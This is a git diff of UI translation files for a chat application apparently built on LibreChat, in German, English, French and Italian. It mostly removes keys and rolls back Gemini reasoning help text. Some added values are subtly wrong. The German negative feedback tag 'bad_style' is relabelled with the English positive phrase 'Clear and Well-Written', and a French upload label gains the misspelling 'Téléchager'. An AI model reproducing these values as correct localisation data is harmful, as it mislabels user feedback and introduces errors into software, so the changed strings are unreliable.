- "com_ui_api_key_warning": "Kopiere deinen API-Schlüssel jetzt. Du wirst ihn später nicht mehr sehen können!",
- "com_ui_api_keys_load_error": "API-Schlüssel konnten nicht geladen werden",
"com_ui_archive": "Archivieren",
"com_ui_archive_delete_error": "Archivierter Chat konnte nicht gelöscht werden.",
"com_ui_archive_error": "Konversation konnte nicht archiviert werden",
@@ -748,10 +712,8 @@
"com_ui_at_least_one_owner_required": "Mindestens ein Besitzer ist erforderlich.",
"com_ui_attach_error": "Datei kann nicht angehängt werden. Erstelle oder wähle einen Chat oder versuche, die Seite zu aktualisieren.",
"com_ui_attach_error_disabled": "Datei-Uploads sind für diesen Endpunkt deaktiviert",
- "com_ui_attach_error_limit": "Dateilimit erreicht:",
"com_ui_attach_error_openai": "Assistentendateien können nicht an andere Endpunkte angehängt werden",
"com_ui_attach_error_size": "Dateigrößenlimit für Endpunkt überschritten:",
- "com_ui_attach_error_total_size": "Limit der Gesamtdateigröße für den Endpunkt überschritten:",
"com_ui_attach_error_type": "Nicht unterstützter Dateityp für Endpunkt:",
"com_ui_attach_remove": "Datei entfernen",
"com_ui_attach_warn_endpoint": "Nicht-Assistentendateien werden möglicherweise ohne kompatibles Werkzeug ignoriert",
@@ -783,7 +745,6 @@
"com_ui_bookmarks": "Lesezeichen",
"com_ui_bookmarks_add": "Lesezeichen hinzufügen",
"com_ui_bookmarks_add_to_conversation": "Zur aktuellen Konversation hinzufügen",
- "com_ui_bookmarks_count_selected": "Lesezeichen, {{count}} ausgewählt",
"com_ui_bookmarks_create_error": "Beim Erstellen des Lesezeichens ist ein Fehler aufgetreten",
"com_ui_bookmarks_create_exists": "Dieses Lesezeichen existiert bereits",
"com_ui_bookmarks_create_success": "Lesezeichen erfolgreich erstellt",
@@ -798,9 +759,6 @@
"com_ui_bookmarks_title": "Titel",
"com_ui_bookmarks_update_error": "Beim Aktualisieren des Lesezeichens ist ein Fehler aufgetreten",
"com_ui_bookmarks_update_success": "Lesezeichen erfolgreich aktualisiert",
- "com_ui_branch_created": "Abzweigung erfolgreich erstellt",
- "com_ui_branch_error": "Erstellen der Abzweigung fehlgeschlagen",
- "com_ui_branch_message": "Abzweigung aus dieser Antwort erstellen",
"com_ui_by_author": "von {{0}}",
"com_ui_callback_url": "Callback-URL",
"com_ui_cancel": "Abbrechen",
@@ -817,7 +775,6 @@
"com_ui_clear_presets": "Voreinstellungen löschen",
"com_ui_clear_search": "Suche löschen",
"com_ui_click_to_close": "Zum Schließen klicken",
- "com_ui_click_to_view_var": "Klicken, um {{0}} anzusehen",
"com_ui_client_id": "Client-ID",
"com_ui_client_secret": "Client Secret",
"com_ui_close": "Schließen",
@@ -828,12 +785,10 @@
"com_ui_code": "Code",
"com_ui_collapse": "Einklappen",
"com_ui_collapse_chat": "Chat einklappen",
- "com_ui_collapse_thoughts": "Gedanken einklappen",
"com_ui_command_placeholder": "Optional: Gib einen speziellen Befehl ein, sonst wird der Name des Prompts verwendet.",
"com_ui_command_usage_placeholder": "Wähle einen Prompt nach Befehl oder Name aus",
"com_ui_complete_setup": "Einrichtung abschließen",
"com_ui_concise": "Prägnant",
- "com_ui_configure": "Konfigurieren",
"com_ui_configure_mcp_variables_for": "Konfiguriere Variablen für {{0}}",
"com_ui_confirm": "Bestätigen",
"com_ui_confirm_action": "Aktion bestätigen",
@@ -847,10 +802,7 @@
"com_ui_continue_oauth": "Mit OAuth fortfahren",
"com_ui_control_bar": "Kontrollleiste",
"com_ui_controls": "Steuerung",
- "com_ui_conversation": "Konversation",
"com_ui_conversation_label": "{{title}} Konversation",
- "com_ui_conversation_not_found": "Chat nicht gefunden",
- "com_ui_conversations": "Konversationen",
"com_ui_convo_archived": "Konversation archiviert",
"com_ui_convo_delete_error": "Unterhaltung konnte nicht gelöscht werden.",
"com_ui_convo_delete_success": "Konversation erfolgreich gelöscht",
@@ -864,16 +816,12 @@
"com_ui_copy_to_clipboard": "In die Zwischenablage kopieren",
"com_ui_copy_url_to_clipboard": "URL in die Zwischenablage kopieren",
"com_ui_create": "Erstellen",
- "com_ui_create_api_key": "API-Schlüssel erstellen",
"com_ui_create_assistant": "Assistent erstellen",
"com_ui_create_link": "Link erstellen",
- "com_ui_create_mcp_server": "MCP-Server erstellen",
"com_ui_create_memory": "Erinnerung erstellen",
"com_ui_create_new_agent": "Neuen Agenten erstellen",
"com_ui_create_prompt": "Prompt erstellen",
"com_ui_create_prompt_page": "Neue Prompt-Konfigurationsseite",
- "com_ui_created": "Erstellt",
- "com_ui_creating": "Wird erstellt...",
"com_ui_creating_image": "Bild wird erstellt. Kann einen Moment dauern",
"com_ui_current": "Aktuell",
"com_ui_currently_production": "Aktuell im Produktivbetrieb",
@@ -913,9 +861,6 @@
"com_ui_delete_confirm_prompt_version_var": "Dies wird die ausgewählte Version für \"{{0}}\" löschen. Wenn keine anderen Versionen existieren, wird der Prompt gelöscht.",
"com_ui_delete_confirm_strong": "Dies wird {{title}} löschen",
"com_ui_delete_conversation": "Chat löschen?",
- "com_ui_delete_conversation_tooltip": "Unterhaltung löschen",
- "com_ui_delete_mcp_server": "MCP-Server löschen?",
- "com_ui_delete_mcp_server_name": "MCP-Server {{0}} löschen",
"com_ui_delete_memory": "Erinnerung löschen",
"com_ui_delete_not_allowed": "Löschvorgang ist nicht erlaubt",
"com_ui_delete_preset": "Voreinstellung löschen?",
@@ -928,7 +873,6 @@
"com_ui_delete_tool_confirm": "Bist du sicher, dass du dieses Werkzeug löschen möchtest?",
"com_ui_delete_tool_save_reminder": "Tool entfernt. Speichere den Agenten, um die Änderungen zu übernehmen.",
"com_ui_deleted": "Gelöscht",
- "com_ui_deleting": "Wird gelöscht...",
"com_ui_deleting_file": "Lösche Datei...",
"com_ui_descending": "Absteigend",
"com_ui_description": "Beschreibung",
@@ -965,9 +909,7 @@
"com_ui_endpoint_menu": "LLM-Endpunkt-Menü",
"com_ui_enter": "Eingabe",
"com_ui_enter_api_key": "API-Schlüssel eingeben",
- "com_ui_enter_description": "Beschreibung eingeben (optional)",
"com_ui_enter_key": "Schlüssel eingeben",
- "com_ui_enter_name": "Namen eingeben",
"com_ui_enter_openapi_schema": "Gib hier dein OpenAPI-Schema ein",
"com_ui_enter_value": "Wert eingeben",
"com_ui_error": "Fehler",
@@ -981,7 +923,6 @@
"com_ui_examples": "Beispiele",
"com_ui_expand": "Ausklappen",
"com_ui_expand_chat": "Chat erweitern",
- "com_ui_expand_thoughts": "Gedanken ausklappen",
"com_ui_export_convo_modal": "Konversation exportieren",
"com_ui_feedback_more": "Mehr ...",
"com_ui_feedback_more_information": "Zusätzliches Feedback",
@@ -990,7 +931,7 @@
"com_ui_feedback_positive": "Prima, sehr gut",
"com_ui_feedback_tag_accurate_reliable": "Akkurat und Zuverlässig",
"com_ui_feedback_tag_attention_to_detail": "Liebe zum Detail",
- "com_ui_feedback_tag_bad_style": "Schlechter Stil oder Tonfall",
+ "com_ui_feedback_tag_bad_style": "Clear and Well-Written",
"com_ui_feedback_tag_clear_well_written": "Klar und gut geschrieben",
"com_ui_feedback_tag_creative_solution": "Kreative Lösung",
"com_ui_feedback_tag_inaccurate": "Ungenaue oder falsche Antwort",
@@ -1052,8 +993,6 @@
"com_ui_handoff_instructions": "Übergabebeschreibung",
"com_ui_happy_birthday": "Es ist mein 1. Geburtstag!",
"com_ui_header_format": "Header-Format",
- "com_ui_hide": "Verstecken",
- "com_ui_hide_code": "Code verbergen",
"com_ui_hide_image_details": "Details zum Bild ausblenden",
"com_ui_hide_password": "Passwort verbergen",
"com_ui_hide_qr": "QR-Code ausblenden",
@@ -1078,7 +1017,6 @@
"com_ui_instructions": "Anweisungen",
"com_ui_key": "Schlüssel",
"com_ui_key_required": "API-Schlüssel ist erforderlich",
- "com_ui_last_used": "Zuletzt verwendet",
"com_ui_late_night": "Schöne späte Nacht",
"com_ui_latest_footer": "Alle KIs für alle.",
"com_ui_latest_production_version": "Neueste Produktiv-Version",
@@ -1097,30 +1035,20 @@
"com_ui_manage": "Verwalten",
"com_ui_marketplace": "Marktplatz",
"com_ui_marketplace_allow_use": "Nutzung des Marktplatzes erlauben",
- "com_ui_max": "Max",
"com_ui_max_favorites_reached": "Maximale Anzahl angepinnter Elemente erreicht ({{0}}). Löse ein Element, um weitere hinzuzufügen.",
"com_ui_max_file_size": "PNG, JPG oder JPEG (max. {{0}})",
"com_ui_max_tags": "Die maximale Anzahl ist {{0}}, es werden die neuesten Werte verwendet.",
"com_ui_mcp_authenticated_success": "MCP-Server „{{0}}“ erfolgreich authentifiziert.",
- "com_ui_mcp_click_to_defer": "Klicken zum Aufschieben – Tool ist über die Suche findbar, wird aber erst bei Bedarf geladen",
- "com_ui_mcp_click_to_programmatic": "Programmatischen Aufruf aktivieren – Tool kann nur über Code-Ausführung gestartet werden",
"com_ui_mcp_configure_server": "Konfiguriere {{0}}",
"com_ui_mcp_configure_server_description": "Konfiguriere benutzerdefinierte Variablen für {{0}}",
- "com_ui_mcp_defer": "Aufschieben",
- "com_ui_mcp_defer_all": "Alle Tools aufschieben",
- "com_ui_mcp_defer_loading": "Laden aufschieben",
"com_ui_mcp_dialog_title": "Variablen konfigurieren für {{serverName}}. Server-Status: {{status}}",
"com_ui_mcp_domain_not_allowed": "Die MCP-Server-Domain befindet sich nicht in der Liste der erlaubten Domains. Bitte kontaktiere deinen Administrator.",
"com_ui_mcp_enter_var": "Geben Sie einen Wert für {{0}} ein",
"com_ui_mcp_init_failed": "Initialisierung des MCP-Servers fehlgeschlagen.",
"com_ui_mcp_initialize": "Initialisieren",
"com_ui_mcp_initialized_success": "MCP-Server „{{0}}“ erfolgreich initialisiert.",
- "com_ui_mcp_invalid_url": "Bitte gib eine gültige URL ein",
- "com_ui_mcp_no_description": "Keine Beschreibung verfügbar",
"com_ui_mcp_oauth_cancelled": "OAuth-Anmeldung für {{0}} abgebrochen.",
"com_ui_mcp_oauth_timeout": "Zeitüberschreitung bei der OAuth-Anmeldung für {{0}}.",
- "com_ui_mcp_programmatic": "Programmatisch",
- "com_ui_mcp_programmatic_all": "Alle als programmatisch markieren",
"com_ui_mcp_server": "MCP-Server",
"com_ui_mcp_server_connection_failed": "Verbindungsversuch zum bereitgestellten MCP-Server fehlgeschlagen. Bitte stelle sicher, dass die URL, der Servertyp und alle Authentifizierungskonfigurationen korrekt sind, und versuche es erneut. Stelle außerdem sicher, dass die URL erreichbar ist.",
"com_ui_mcp_server_created": "MCP-Server erfolgreich erstellt",
@@ -1133,20 +1061,13 @@
"com_ui_mcp_server_role_viewer": "MCP-Server-Betrachter",
"com_ui_mcp_server_role_viewer_desc": "Kann MCP-Server ansehen und verwenden",
"com_ui_mcp_server_updated": "MCP-Server erfolgreich aktualisiert",
- "com_ui_mcp_server_url_placeholder": "https://mcp.beispiel.com",
"com_ui_mcp_servers": "MCP Server",
"com_ui_mcp_servers_allow_create": "Benutzern das Erstellen von MCP-Servern erlauben",
"com_ui_mcp_servers_allow_share": "Benutzern das Teilen von MCP-Servern erlauben",
- "com_ui_mcp_servers_allow_share_public": "Nutzern das öffentliche Teilen von MCP-Servern erlauben",
"com_ui_mcp_servers_allow_use": "Benutzern die Verwendung von MCP-Servern erlauben",
"com_ui_mcp_title_invalid": "Titel darf nur Buchstaben, Zahlen und Leerzeichen enthalten",
- "com_ui_mcp_tool_options": "Tool-Optionen",
- "com_ui_mcp_transport": "Transport",
"com_ui_mcp_type_sse": "SSE",
"com_ui_mcp_type_streamable_http": "Streamable HTTPS",
- "com_ui_mcp_undefer": "Aufschub aufheben",
- "com_ui_mcp_undefer_all": "Aufschub für alle Tools aufheben",
- "com_ui_mcp_unprogrammatic_all": "Markierung als „programmatisch“ für alle entfernen",
"com_ui_mcp_update_var": "{{0}} aktualisieren",
"com_ui_mcp_url": "MCP-Server-URL",
"com_ui_medium": "Mittel",
@@ -1164,16 +1085,12 @@
"com_ui_memory_deleted_items": "Gelöschte Erinnerungen",
"com_ui_memory_error": "Fehler bei den Erinnerungen",
"com_ui_memory_key_exists": "Eine Erinnerung mit diesem Schlüssel existiert bereits. Bitte verwende einen anderen Schlüssel.",
- "com_ui_memory_key_hint": "Nur Kleinbuchstaben und Unterstriche verwenden",
"com_ui_memory_key_validation": "Der Erinnerungsschlüssel darf nur Kleinbuchstaben und Unterstriche enthalten.",
"com_ui_memory_storage_full": "Speicherplatz für Erinnerungen voll",
"com_ui_memory_updated": "Erinnerung aktualisiert",
"com_ui_memory_updated_items": "Aktualisierte Erinnerungen",
"com_ui_memory_would_exceed": "Speichern nicht möglich - würde Limit um {{tokens}} Tokens überschreiten. Löschen Sie vorhandene Erinnerungen, um Platz zu schaffen.",
"com_ui_mention": "Erwähne einen Endpunkt, Assistenten oder eine Voreinstellung, um schnell dorthin zu wechseln",
- "com_ui_mermaid": "Mermaid",
- "com_ui_mermaid_failed": "Diagramm konnte nicht gerendert werden:",
- "com_ui_mermaid_source": "Quellcode:",
"com_ui_message_input": "Nachrichteneingabe",
"com_ui_microphone_unavailable": "Mikrofon ist nicht verfügbar",
"com_ui_min_tags": "Es können nicht mehr Werte entfernt werden, mindestens {{0}} sind erforderlich.",
@@ -1181,8 +1098,6 @@
"com_ui_misc": "Verschiedenes",
"com_ui_model": "KI-Modell",
"com_ui_model_parameters": "Modell-Parameter",
- "com_ui_model_parameters_reset": "Modellparameter wurden zurückgesetzt.",
- "com_ui_model_selected": "{{0}} ausgewählt",
"com_ui_more_info": "Mehr Infos",
"com_ui_my_prompts": "Meine Prompts",
"com_ui_name": "Name",
@@ -1192,11 +1107,7 @@
"com_ui_new_conversation_title": "Neuer Titel des Chats",
"com_ui_next": "Weiter",
"com_ui_no": "Nein",
- "com_ui_no_api_keys": "Noch keine API-Schlüssel vorhanden. Erstelle einen, um loszulegen.",
- "com_ui_no_auth": "Keine (Automatische Erkennung)",
"com_ui_no_bookmarks": "Du hast noch keine Lesezeichen. Klicke auf einen Chat und füge ein neues hinzu",
- "com_ui_no_bookmarks_match": "Keine Lesezeichen entsprechen deiner Suche",
- "com_ui_no_bookmarks_title": "Noch keine Lesezeichen",
"com_ui_no_categories": "Keine Kategorien verfügbar",
"com_ui_no_category": "Keine Kategorie",
"com_ui_no_changes": "Es wurden keine Änderungen vorgenommen",
@@ -1204,10 +1115,7 @@
"com_ui_no_mcp_servers": "Noch keine MCP-Server",
"com_ui_no_mcp_servers_match": "Keine MCP-Server entsprechen deinem Filter",
"com_ui_no_memories": "Keine Erinnerungen. Erstelle sie manuell oder fordere die KI auf, sich etwas zu merken.\n",
- "com_ui_no_memories_match": "Keine Erinnerungen entsprechen deiner Suche",
- "com_ui_no_memories_title": "Noch keine Erinnerungen",
"com_ui_no_personalization_available": "Derzeit sind keine Personalisierungsoptionen verfügbar.",
- "com_ui_no_prompts_title": "Noch keine Prompts",
"com_ui_no_read_access": "Du hast keine Berechtigung, Erinnerungen anzuzeigen.",
"com_ui_no_results_found": "Keine Ergebnisse gefunden",
"com_ui_no_terms_content": "Keine Inhalte der Allgemeinen Geschäftsbedingungen zum Anzeigen",
@@ -1228,7 +1136,6 @@
"com_ui_off": "Aus",
"com_ui_offline": "Offline",
"com_ui_on": "An",
- "com_ui_open_archived_chat_new_tab_title": "{{title}} (öffnet in neuem Tab)",
"com_ui_open_source_chat_new_tab": "Quell-Chat in neuem Tab öffnen",
"com_ui_open_source_chat_new_tab_title": "Quell-Chat in neuem Tab öffnen - {{title}}",
"com_ui_open_var": "{{0}} öffnen",
@@ -1250,7 +1157,6 @@
"com_ui_privacy_policy": "Datenschutzerklärung",
"com_ui_privacy_policy_url": "Datenschutzrichtlinie-URL",
"com_ui_prompt": "Prompt",
- "com_ui_prompt_deleted": "{{0}} gelöscht",
"com_ui_prompt_group_button": "{{name}}-Prompt, Kategorie {{category}}",
"com_ui_prompt_group_button_no_category": "{{name}}-Prompt",
"com_ui_prompt_groups": "Prompt-Gruppenliste",
@@ -1265,7 +1171,6 @@
"com_ui_prompts": "Prompts",
"com_ui_prompts_allow_create": "Erstellung von Prompts erlauben",
"com_ui_prompts_allow_share": "Teilen von Prompts erlauben",
- "com_ui_prompts_allow_share_public": "Öffentliches Teilen von Prompts erlauben",
"com_ui_prompts_allow_use": "Verwendung von Prompts erlauben",
"com_ui_provider": "Anbieter",
"com_ui_quality": "Qualität",
@@ -1283,18 +1188,6 @@
"com_ui_regenerating": "Generiere neu ...",
"com_ui_region": "Region",
"com_ui_reinitialize": "Neu initialisieren",
- "com_ui_remote_access": "Remote-Zugriff",
- "com_ui_remote_agent_role_editor": "Editor",
- "com_ui_remote_agent_role_editor_desc": "Kann den Agent über die API ansehen und bearbeiten",
- "com_ui_remote_agent_role_owner": "API-Eigentümer",
- "com_ui_remote_agent_role_owner_desc": "Vollständiger API-Zugriff; kann anderen Remote-Zugriff gewähren",
- "com_ui_remote_agent_role_viewer": "API-Betrachter",
- "com_ui_remote_agent_role_viewer_desc": "Kann den Agent über die API abfragen",
- "com_ui_remote_agents": "Remote-Agents (API)",
- "com_ui_remote_agents_allow_create": "Nutzern das Erstellen von Agents über die API erlauben",
- "com_ui_remote_agents_allow_share": "Nutzern erlauben, anderen API-Zugriff auf Agents zu gewähren",
- "com_ui_remote_agents_allow_share_public": "Nutzern erlauben, allen Usern API-Zugriff auf Agents zu gewähren",
- "com_ui_remote_agents_allow_use": "Nutzern erlauben, API-Schlüssel zu erstellen und Agents remote abzufragen",
"com_ui_remove_agent_from_chain": "{{0}} aus der Kette entfernen",
"com_ui_remove_user": "{{0}} entfernen",
"com_ui_rename": "Umbenennen",
@@ -1312,7 +1205,6 @@
"com_ui_result": "Ergebnis",
"com_ui_result_found": "{{count}} Ergebnis gefunden",
"com_ui_results_found": "{{count}} Ergebnisse gefunden",
- "com_ui_retry": "Erneut versuchen",
"com_ui_revoke": "Widerrufen",
"com_ui_revoke_info": "Benutzer-API-Keys widerrufen",
"com_ui_revoke_key_confirm": "Bist du sicher, dass du diesen Schlüssel widerrufen möchtest?",
@@ -1384,9 +1276,7 @@
"com_ui_shared_link_not_found": "Geteilter Link nicht gefunden",
"com_ui_shared_prompts": "Geteilte Prompts",
"com_ui_shop": "Einkaufen",
- "com_ui_show": "Anzeigen",
"com_ui_show_all": "Alle anzeigen",
- "com_ui_show_code": "Code anzeigen",
"com_ui_show_image_details": "Details zum Bild anzeigen",
"com_ui_show_password": "Passwort anzeigen",
"com_ui_show_qr": "QR-Code anzeigen",
@@ -1398,7 +1288,6 @@
"com_ui_special_var_current_datetime": "Aktuelles Datum & Uhrzeit",
"com_ui_special_var_current_user": "Aktueller Nutzer",
"com_ui_special_var_iso_datetime": "UTC ISO Datum/Zeit",
- "com_ui_special_variable_added": "Spezialvariable {{0}} hinzugefügt.",
"com_ui_special_variables": "Spezielle Variablen:",
"com_ui_special_variables_more_info": "Du kannst spezielle Variablen aus den Dropdown-Menüs auswählen: `{{current_date}}` (heutiges Datum und Wochentag), `{{current_datetime}}` (offizielles Datum und Uhrzeit), `{{utc_iso_datetime}}` (UTC ISO Datum/Zeit) und `{{current_user}}` (dein Benutzername).",
"com_ui_speech_not_supported": "Ihr Browser unterstützt keine Spracherkennung",
@@ -1443,7 +1332,6 @@
"com_ui_ui_resource_not_found": "UI-Ressource nicht gefunden (Index: {{0}})",
"com_ui_ui_resources": "UI-Ressourcen",
"com_ui_unarchive": "Aus Archiv holen",
- "com_ui_unarchive_conversation": "Unterhaltung dearchivieren",
"com_ui_unarchive_error": "Konversation konnte nicht aus dem Archiv geholt werden",
"com_ui_unavailable": "Nicht verfügbar",
"com_ui_unknown": "Unbekannt",
@@ -1451,8 +1339,6 @@
"com_ui_unset": "Aufheben",
"com_ui_untitled": "Unbenannt",
"com_ui_update": "Aktualisieren",
- "com_ui_update_mcp_server": "MCP-Server aktualisieren",
- "com_ui_updating": "Aktualisieren...",
"com_ui_upload": "Hochladen",
"com_ui_upload_agent_avatar": "Agenten-Avatar erfolgreich aktualisiert",
"com_ui_upload_agent_avatar_label": "Avatarbild des Agenten hochladen",
@@ -1463,7 +1349,6 @@
"com_ui_upload_file_context": "Kontext der Datei hochladen",
"com_ui_upload_file_search": "Hochladen für Dateisuche",
"com_ui_upload_files": "Dateien hochladen",
- "com_ui_upload_icon": "Symbolbild hochladen",
"com_ui_upload_image": "Ein Bild hochladen",
"com_ui_upload_image_input": "Bild hochladen",
"com_ui_upload_invalid": "Ungültige Datei zum Hochladen. Muss ein Bild sein und das Limit nicht überschreiten",
@@ -1517,9 +1402,7 @@
"com_ui_weekend_morning": "Schönes Wochenende",
"com_ui_write": "Schreiben",
"com_ui_x_selected": "{{0}} ausgewählt",
- "com_ui_xhigh": "Extra hoch",
"com_ui_yes": "Ja",
- "com_ui_your_api_key": "Dein API Key",
"com_ui_zoom": "Zoom",
"com_ui_zoom_in": "Heranzoomen",
"com_ui_zoom_level": "Zoomstufe",
diff --git a/client/src/locales/en/translation.json b/client/src/locales/en/translation.json
index 67111586ff..e0dad68431 100644
--- a/client/src/locales/en/translation.json
+++ b/client/src/locales/en/translation.json
@@ -2,7 +2,6 @@
"chat_direction_left_to_right": "Left to Right",
"chat_direction_right_to_left": "Right to Left",
"com_a11y_ai_composing": "The AI is still composing.",
- "com_a11y_chats_date_section": "Chats from {{date}}",
"com_a11y_end": "The AI has finished their reply.",
"com_a11y_selected": "selected",
"com_a11y_start": "The AI has started their reply.",
@@ -237,7 +236,6 @@
"com_endpoint_assistant": "Assistant",
"com_endpoint_assistant_model": "Assistant Model",
"com_endpoint_assistant_placeholder": "Please select an Assistant from the right-hand Side Panel",
- "com_endpoint_bedrock_reasoning_effort": "Controls the reasoning level for supported Bedrock models (e.g. Kimi K2.5, GLM). Higher levels produce more thorough reasoning at the cost of increased latency and tokens.",
"com_endpoint_config_click_here": "Click Here",
"com_endpoint_config_google_api_info": "To get your Generative Language API key (for Gemini),",
"com_endpoint_config_google_api_key": "Google API Key",
@@ -276,9 +274,8 @@
"com_endpoint_google_custom_name_placeholder": "Set a custom name for Google",
"com_endpoint_google_maxoutputtokens": "Maximum number of tokens that can be generated in the response. Specify a lower value for shorter responses and a higher value for longer responses. Note: models may stop before reaching this maximum.",
"com_endpoint_google_temp": "Higher values = more random, while lower values = more focused and deterministic. We recommend altering this or Top P but not both.",
- "com_endpoint_google_thinking": "Enables or disables reasoning. Supported by Gemini 2.5 and 3 series. Note: Gemini 3 Pro cannot fully disable thinking.",
- "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting only applies to Gemini 2.5 and older models. For Gemini 3 and later, use the Thinking Level setting instead.\n\nGemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.",
- "com_endpoint_google_thinking_level": "Controls the depth of reasoning for Gemini 3 and later models. Has no effect on Gemini 2.5 and older — use Thinking Budget for those.\n\nLeave on Auto to use the model default.",
+ "com_endpoint_google_thinking": "Enables or disables reasoning. This setting is only supported by certain models (2.5 series). For older models, this setting may have no effect.",
+ "com_endpoint_google_thinking_budget": "Guides the number of thinking tokens the model uses. The actual amount may exceed or fall below this value depending on the prompt.\n\nThis setting is only supported by certain models (2.5 series). Gemini 2.5 Pro supports 128-32,768 tokens. Gemini 2.5 Flash supports 0-24,576 tokens. Gemini 2.5 Flash Lite supports 512-24,576 tokens.\n\nLeave blank or set to \"-1\" to let the model automatically decide when and how much to think. By default, Gemini 2.5 Flash Lite does not think.",
"com_endpoint_google_topk": "Top-k changes how the model selects tokens for output. A top-k of 1 means the selected token is the most probable among all tokens in the model's vocabulary (also called greedy decoding), while a top-k of 3 means that the next token is selected from among the 3 most probable tokens (using temperature).",
"com_endpoint_google_topp": "Top-p changes how the model selects tokens for output. Tokens are selected from most K (see topK parameter) probable to least until the sum of their probabilities equals the top-p value.",
"com_endpoint_google_use_search_grounding": "Use Google's search grounding feature to enhance responses with real-time web search results. This enables models to access current information and provide more accurate, up-to-date answers.",
@@ -348,7 +345,6 @@
"com_endpoint_temperature": "Temperature",
"com_endpoint_thinking": "Thinking",
"com_endpoint_thinking_budget": "Thinking Budget",
- "com_endpoint_thinking_level": "Thinking Level",
"com_endpoint_top_k": "Top K",
"com_endpoint_top_p": "Top P",
"com_endpoint_use_active_assistant": "Use Active Assistant",
@@ -369,7 +365,6 @@
"com_error_illegal_model_request": "The model \"{{0}}\" is not available for {{1}}. Please select a different model.",
"com_error_input_length": "The latest message token count is too long, exceeding the token limit, or your token limit parameters are misconfigured, adversely affecting the context window. More info: {{0}}. Please shorten your message, adjust the max context size from the conversation parameters, or fork the conversation to continue.",
"com_error_invalid_agent_provider": "The \"{{0}}\" provider is not available for use with Agents. Please go to your agent's settings and select a currently available provider.",
- "com_error_invalid_base_url": "The base URL you provided targets a restricted address. Please use a valid external URL and try again.",
"com_error_invalid_user_key": "Invalid key provided. Please provide a valid key and try again.",
"com_error_missing_model": "No model selected for {{0}}. Please select a model and try again.",
"com_error_models_not_loaded": "Models configuration could not be loaded. Please refresh the page and try again.",
@@ -377,7 +372,6 @@
"com_error_no_base_url": "No base URL found. Please provide one and try again.",
"com_error_no_user_key": "No key found. Please provide a key and try again.",
"com_error_refusal": "Response refused by safety filters. Rewrite your message and try again. If you encounter this frequently while using Claude Sonnet 4.5 or Opus 4.1, you can try Sonnet 4, which has different usage restrictions.",
- "com_error_stream_expired": "The response stream has expired or already completed. Please try again.",
"com_file_pages": "Pages: {{pages}}",
"com_file_source": "File",
"com_file_unknown": "Unknown File",
@@ -642,7 +636,6 @@
"com_ui_2fa_generate_error": "There was an error generating two-factor authentication settings",
"com_ui_2fa_invalid": "Invalid two-factor authentication code",
"com_ui_2fa_setup": "Setup 2FA",
- "com_ui_2fa_verification_required": "Enter your 2FA code to continue",
"com_ui_2fa_verified": "Successfully verified Two-Factor Authentication",
"com_ui_accept": "I accept",
"com_ui_action_button": "Action Button",
@@ -750,10 +743,8 @@
"com_ui_at_least_one_owner_required": "At least one owner is required",
"com_ui_attach_error": "Cannot attach file. Create or select a conversation, or try refreshing the page.",
"com_ui_attach_error_disabled": "File uploads are disabled for this endpoint",
- "com_ui_attach_error_limit": "File limit reached:",
"com_ui_attach_error_openai": "Cannot attach Assistant files to other endpoints",
"com_ui_attach_error_size": "File size limit exceeded for endpoint:",
- "com_ui_attach_error_total_size": "Total file size limit exceeded for endpoint:",
"com_ui_attach_error_type": "Unsupported file type for endpoint:",
"com_ui_attach_remove": "Remove file",
"com_ui_attach_warn_endpoint": "Non-Assistant files may be ignored without a compatible tool",
@@ -1195,7 +1186,7 @@
"com_ui_next": "Next",
"com_ui_no": "No",
"com_ui_no_api_keys": "No API keys yet. Create one to get started.",
- "com_ui_no_auth": "None (Auto-detect)",
+ "com_ui_no_auth": "No Auth",
"com_ui_no_bookmarks": "it seems like you have no bookmarks yet. Click on a chat and add a new one",
"com_ui_no_bookmarks_match": "No bookmarks match your search",
"com_ui_no_bookmarks_title": "No bookmarks yet",
diff --git a/client/src/locales/fr/translation.json b/client/src/locales/fr/translation.json
index 7838b33739..c9d78ac3f5 100644
--- a/client/src/locales/fr/translation.json
+++ b/client/src/locales/fr/translation.json
@@ -1203,7 +1203,7 @@
"com_ui_upload_image_input": "Téléverser une image",
"com_ui_upload_invalid": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser la limite",
"com_ui_upload_invalid_var": "Fichier non valide pour le téléchargement. L'image ne doit pas dépasser {{0}} Mo",
- "com_ui_upload_ocr_text": "Télécharger en tant que texte",
+ "com_ui_upload_ocr_text": "Téléchager en tant que texte",
"com_ui_upload_provider": "Télécharger vers le fournisseur",
"com_ui_upload_success": "Fichier téléversé avec succès",
"com_ui_upload_type": "Sélectionner le type de téléversement",
diff --git a/client/src/locales/it/translation.json b/client/src/locales/it/translation.json
index f8e4f5e5d8..1b78ae9ab8 100644
--- a/client/src/locales/it/translation.json
+++ b/client/src/locales/it/translation.json
@@ -1,15 +1,12 @@
{
- "chat_direction_left_to_right": "Da Sinistra a Destra",
"chat_direction_right_to_left": "Da destra a sinistra\n",
"com_a11y_ai_composing": "L'IA sta ancora componendo",
"com_a11y_end": "L'IA ha terminato la sua risposta",
- "com_a11y_selected": "Selezionato",
"com_a11y_start": "L'IA ha iniziato la sua risposta",
"com_agents_agent_card_label": "{{name}} agente. {{description}}",
"com_agents_all": "Tutti gli agenti\n",
"com_agents_all_category": "Tutti",
"com_agents_all_description": "Sfoglia tutti gli agenti condivisi in tutte le categorie",
- "com_agents_avatar_upload_error": "Il caricamento dell'avatar d'agente è fallito",
"com_agents_by_librechat": "da LibreChat",
"com_agents_category_aftersales": "Post-vendita",
"com_agents_category_aftersales_description": "Agenti specializzati nel supporto post-vendita, manutenzione e servizio clienti",
@@ -18,7 +15,6 @@
"com_agents_category_finance_description": "Agenti specializzati in analisi finanziaria, budgeting e contabilità",
"com_agents_category_general": "Generale",
"com_agents_category_general_description": "Agenti di uso generale per compiti e richieste comuni",
- "com_agents_category_hr": "Risorse Umane",
"com_agents_category_hr_description": "Agenti specializzati in processi, politiche e supporto ai dipendenti delle risorse umane",
"com_agents_category_it": "IT",
"com_agents_category_it_description": "Agenti per supporto IT, risoluzione dei problemi tecnici e amministrazione del sistema",
@@ -36,7 +32,6 @@
"com_agents_copy_link": "Copia Link",
"com_agents_create_error": "Si è verificato un errore durante la creazione del tuo agente.",
"com_agents_created_by": "da",
- "com_agents_description_card": "Descrizione: {{descrizione}}",
"com_agents_description_placeholder": "Opzionale: Descrivi qui il tuo Agente",
"com_agents_empty_state_heading": "Nessun agente trovato",
